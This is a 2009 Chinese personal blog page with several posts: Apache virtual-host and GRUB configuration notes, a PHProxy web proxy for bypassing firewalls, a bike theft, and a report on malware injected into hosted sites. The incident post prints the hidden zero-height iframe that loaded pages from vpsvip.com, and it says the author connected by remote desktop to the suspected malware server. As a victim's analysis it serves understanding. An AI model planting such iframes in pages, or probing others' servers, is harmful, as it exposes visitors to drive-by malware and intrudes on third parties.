Written by 正冰 on 2009, June 29, 12:52 PM
在火山互联申请了免费linux vps后,自己动手实践能力就要更为丰富了,本文为配置vhost.conf文件达到linux下apache的虚拟主机功能
环境:CentOS 5.2 + Apache 2.2.6 + PHP 5.2.5 + MySQL 5.1.3
首先要apache服务认得虚拟主机配置文件,则要修改/usr/local/apache2/conf/httpd.conf
在其底部加入:
Include "/usr/local/apache2/conf/vhost.conf"
定位到apache安装目录下的配置文件,/usr/local/apache2/conf/vhost.conf
打开后内容如下:
DocumentRoot /data/web/www/
ServerName www.vhost.cn
将它修改为我们所需要的:
NameVirtualHost *:80
ServerName is36.cn
ServerAlias www.is36.cn
DocumentRoot /data/web/www/
ServerName blog.is36.cn
ServerAlias www.blog.is36.cn
DocumentRoot /data/web/blog/
修改完成后重启apache服务即可:apache2 -k restart
(用ln做链接,类似windows下的快捷方式指向全局变量地址,就可以在终端任何地方输入apache2进行对apache服务的操作了)
ln -s /usr/local/apache2/bin/apachectl /usr/sbin/apache2
重启过程中如果出现如下情况需要去建立对应的blog文件夹:
[root@linuxserver ~]# apache2 -k restart
Warning: DocumentRoot [/data/web/blog/] does not exist
据网上资料还要在httpd.conf下加入如下的配置条文,本过程中未加入,后续观察:
Options Indexes FollowSymLinks
AllowOverride all
Order Allow,Deny
Allow from all
Options Indexes FollowSymLinks
AllowOverride all
Order Allow,Deny
Allow from all
附/usr/local/apache2/conf/extra/httpd-vhosts.conf 作为配置参考文件
#
# Virtual Hosts
#
# If you want to maintain multiple domains/hostnames on your
# machine you can setup VirtualHost containers for them. Most configurations
# use only name-based virtual hosts so the server doesn't need to worry about
# IP addresses. This is indicated by the asterisks in the directives below.
#
# Please see the documentation at
# http://httpd.apache.org/docs/2.2/vhosts/>
# for further details before you try to setup virtual hosts.
#
# You may use the command line option '-S' to verify your virtual host
# configuration.
#
# Use name-based virtual hosting.
#
NameVirtualHost *:80
#
# VirtualHost example:
# Almost any Apache directive may go into a VirtualHost container.
# The first VirtualHost section is used for all requests that do not
# match a ServerName or ServerAlias in any block.
#
ServerAdmin webmaster@dummy-host.example.com
DocumentRoot "/www/docs/dummy-host.example.com"
ServerName dummy-host.example.com
ServerAlias www.dummy-host.example.com
ErrorLog "logs/dummy-host.example.com-error_log"
CustomLog "logs/dummy-host.example.com-access_log common"
ServerAdmin webmaster@dummy-host2.example.com
DocumentRoot "/www/docs/dummy-host2.example.com"
ServerName dummy-host2.example.com
ErrorLog "logs/dummy-host2.example.com-error_log"
CustomLog "logs/dummy-host2.example.com-access_log common"
Filed under: 技术归总
0 Comments
35452 Views
Written by 正冰 on 2009, June 29, 3:41 AM
今天忽然很想要一个web代理软件,方便快捷,google后,找到合适的一款基于php开发的:phproxy
PHProxy是一个采用PHP开发基于web的HTTP代理服务器。它能够帮助你绕过防火墙和访问一些受限制的资源(比如一些限制访问的网站)
开源软件一款,详见:
http://sourceforge.net/projects/poxy/
下载后试用效果不错!访问123cha.com与ip138.com都没显示出我的真实ip
正冰提供给大家测试:http://www.is36.com/proxy.php
虽然软件作者07年就停止了软件的开发,不过这个版本用用也不错了,有时间翻翻代码看一看,学习学习!
Filed under: 网络杂事
0 Comments
25382 Views
Written by 正冰 on 2009, June 19, 3:55 AM
注:一直认为黑客!=骇客,所以文章题目写作骇客
夜间访问托管于世纪东方(www.51web.cn)主机下的几个小网站,忽然感觉不对劲,每个页面的左上角都出现了一块不显眼的疙瘩,查看源代码后发现代码如下:
<iframe src="http://vpsvip.com/a/a4.htm?89" width="100"height="0"></iframe>
逐步下载:
- http://vpsvip.com/a/a4.htm
- http://vpsvip.com/a/index.htm
- http://vpsvip.com/a/flash.htm
- http://vpsvip.com/a/iss.html
- http://vpsvip.com/a/fss.html
- http://vpsvip.com/a/swfobject.js
代码见压缩包:4htm+1js.rar
直接访问hxxp://vpsvip.com/a返回如下(火狐浏览器):
分析:
www.vpsvip.com >> 该地址无法解析为IP
vpsvip.com => 59.34.197.154 广东省 湛江市 电信
该网站下有以下可能的网站绑定着:
- 001) www.zhaopcik.com 破天一剑私服
- 002) vpsvip.com 病毒发源地
- 003) www.u866.com 完美世界私服
- 004) www.o778.com 武林外传私服
- 005) www.hao187.com 魔域私服
- 006) www.aipotian.com 破天一剑私服
- 007) www.hao228.com 无法访问
猜测:放着都是私服的网站,可见其网站本身就不是“正派”,那么可能就是服务器的管理员所做的挂马网站,或者是被人入侵获取主机权限而开通的vpsvip.com制造的一个病毒窝。
通过桌面的远程桌面连接器连接,成功连接,是一台win2003服务器
服务器租用应该是从:http://www.0760idc.com/game.asp 湛江电信线路
时间关系,没深入,跟东方的人说了下,被告知是机房arp问题,问题已经解决。
Filed under: 网络杂事
0 Comments
15712 Views
Written by 正冰 on 2009, June 17, 7:08 AM
本来对看新闻的兴趣也不是特别浓厚,只不过突然外面大事小事出了一大堆,局然不尽了解,甚是“丢脸”。故近日起重拾起看新闻资讯的乐趣来了,思来想去,还是选择Google 资讯(http://news.google.cn/)。
喜欢google简单的东西,喜欢google内在的东西,就是喜欢!
品一杯咖啡,看早间(其实是昨天的)资讯,也未尝不是一件快乐的事!
京华播报:http://v.jinghua.cn/html/dujiashipin/
Filed under: 生活记录
0 Comments
19450 Views
Written by 正冰 on 2009, June 13, 7:16 PM
Filed under: 技术归总
0 Comments
30963 Views
Written by 正冰 on 2009, June 12, 8:27 AM
2日晚自行车被窃
6日下午俩贼再次前来作案,被抓进了局子(因为当场被抓,治安拘留15天)
11日上午电话通知去XX派出所做个笔录
11 日下午屁颠屁颠坐着公交车过去(那个派出所也太小了吧!其实也不是小,就是在角落里,也没明显标志,不是有人提醒,还得费点时间才能找到)。等了20多分 钟,派出所的同志才有时间给我做笔录。据他的意思我的笔录没多大作用,暂时就先做下,因为那俩贼不承认2日也是他们干的。半小时后做完笔录,按了手指印, 撤退返回。
真背,车被偷,做个笔录倒贴4元车费
才拘留15天,便宜小偷了!
如果中国法律再健全点,那么给予这些无业游民的法律制裁就要更加严格才行!
Filed under: 生活记录
0 Comments
38591 Views
Written by 正冰 on 2009, June 5, 11:27 AM
Filed under: 系统集成
3 Comments
93472 Views
Written by 正冰 on 2009, June 4, 8:54 PM
案例:red hat linux + windows 2003 es 双系统,通过修改grub配置文件修改改变默认启动顺序
描述:默认启动linux系统,如果要想启动windows 2003系统则需要在启动电脑后的几秒钟内(GRUB倒计时)按键盘上的上下选择键切入系统选择画面,现通过修改配置文件来作用
操作过程:
进入linux系统,进入终端,通过su命令将权限提升至root(或者之前就用root登陆,但是不大符合安全操作规范),编辑/etc/grub.conf配置文件,使用vi /etc/grub.conf
# grub.conf generated by anaconda
#
# Note that you do not have to rerun grub after making changes to this file
# NOTICE: You do not have a /boot partition. This means that
# all kernel and initrd paths are relative to /, eg.
# root (hd0,6)
# kernel /boot/vmlinuz-version ro root=/dev/hda7
# initrd /boot/initrd-version.img
#boot=/dev/hda
default=0
timeout=5
splashimage=(hd0,6)/boot/grub/splash.xpm.gz
hiddenmenu
title Red Hat Enterprise Linux ES (2.6.9-22.EL)
root (hd0,6)
kernel /boot/vmlinuz-2.6.9-22.EL ro root=LABEL=/ rhgb quiet
initrd /boot/initrd-2.6.9-22.EL.img
title Windows 2003 ES
rootnoverify (hd0,0)
chainloader +1
将
# title Red Hat Enterprise Linux ES (2.6.9-22.EL)
# root (hd0,6)
# kernel /boot/vmlinuz-2.6.9-22.EL ro root=LABEL=/ rhgb quiet
# initrd /boot/initrd-2.6.9-22.EL.img
与
# title Windows 2003 ES
# rootnoverify (hd0,0)
# chainloader +1
对调位置后重启后grub会默认引导进入windows 2003 服务器系统。
Filed under: 技术归总
0 Comments
47185 Views